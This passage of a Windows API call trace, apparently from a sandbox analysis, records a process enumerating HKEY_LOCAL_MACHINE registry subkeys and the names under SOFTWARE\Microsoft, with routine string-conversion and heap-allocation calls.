dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x90bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0041.546] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bca0 [0041.546] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bc58) returned 1 [0041.546] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bca0) returned 1 [0041.546] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.546] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x90b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0041.546] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.546] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bca0 [0041.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x90bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0041.546] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bc58 [0041.546] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bca0) returned 1 [0041.546] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bc58) returned 1 [0041.546] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.546] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x90b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0041.546] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.546] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bc58 [0041.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x90bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0041.546] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bca0 [0041.546] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bc58) returned 1 [0041.546] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bca0) returned 1 [0041.546] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.546] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x53f83c | out: phkResult=0x53f83c*=0xa0) returned 0x0 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x184) returned 0x90d040 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bca0 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bc58 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bce8 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bd30 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bd78 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bdc0 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90be08 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90be50 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90be98 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bee0 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bf28 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bf70 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bfb8 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c000 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c048 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c090 [0041.547] RegCloseKey (hKey=0x80000002) returned 0x0 [0041.547] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x90b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x90c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.547] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.547] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.547] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.547] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x90b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.547] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x90c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0041.548] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.548] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.548] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.548] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.548] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x90b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0041.548] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.548] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x90c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0041.548] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.548] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.548] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.548] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.548] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x90b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0041.548] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.548] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x90c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0041.548] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.548] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.548] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.548] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.548] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x90b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0041.548] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0041.548] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x90c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0041.548] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.548] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.548] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.548] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.548] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0x90b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0041.549] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.549] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x90c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0041.549] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.549] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.549] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.549] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.549] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0x90b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0041.549] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.549] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x90c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0041.549] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.549] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.549] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.549] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.549] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x53f83c | out: phkResult=0x53f83c*=0x24) returned 0x0 [0041.549] RegCloseKey (hKey=0xa0) returned 0x0 [0041.549] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x90b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0041.549] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.549] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x90c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0041.549] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.549] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.549] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.549] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.549] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x90b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0041.550] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.550] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x90c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0041.550] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.550] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.550] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.550] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.550] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x90b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0041.550] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.550] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x90c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0041.550] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.550] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.550] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.550] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.550] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x90b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0041.550] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0041.550] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x90c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0041.550] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.550] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.550] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.550] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.550] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x90b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0041.550] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.550] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x90c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0041.550] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.550] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.550] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.550] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.551] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x90b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0041.551] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.551] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x90c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0041.551] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.551] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.551] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.551] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.551] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x90b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0041.551] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.551] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x90c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0041.551] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.551] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.551] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.551] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.551] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x90b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0041.551] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.551] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x90c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0041.551] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.551] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.551] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.551] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.551] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x90b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0041.551] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0041.551] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x90c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0041.552] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.552] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.552] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.552] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.552] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x90b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0041.552] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0041.552] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x90c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0041.552] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.552] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.552] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.552] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.552] 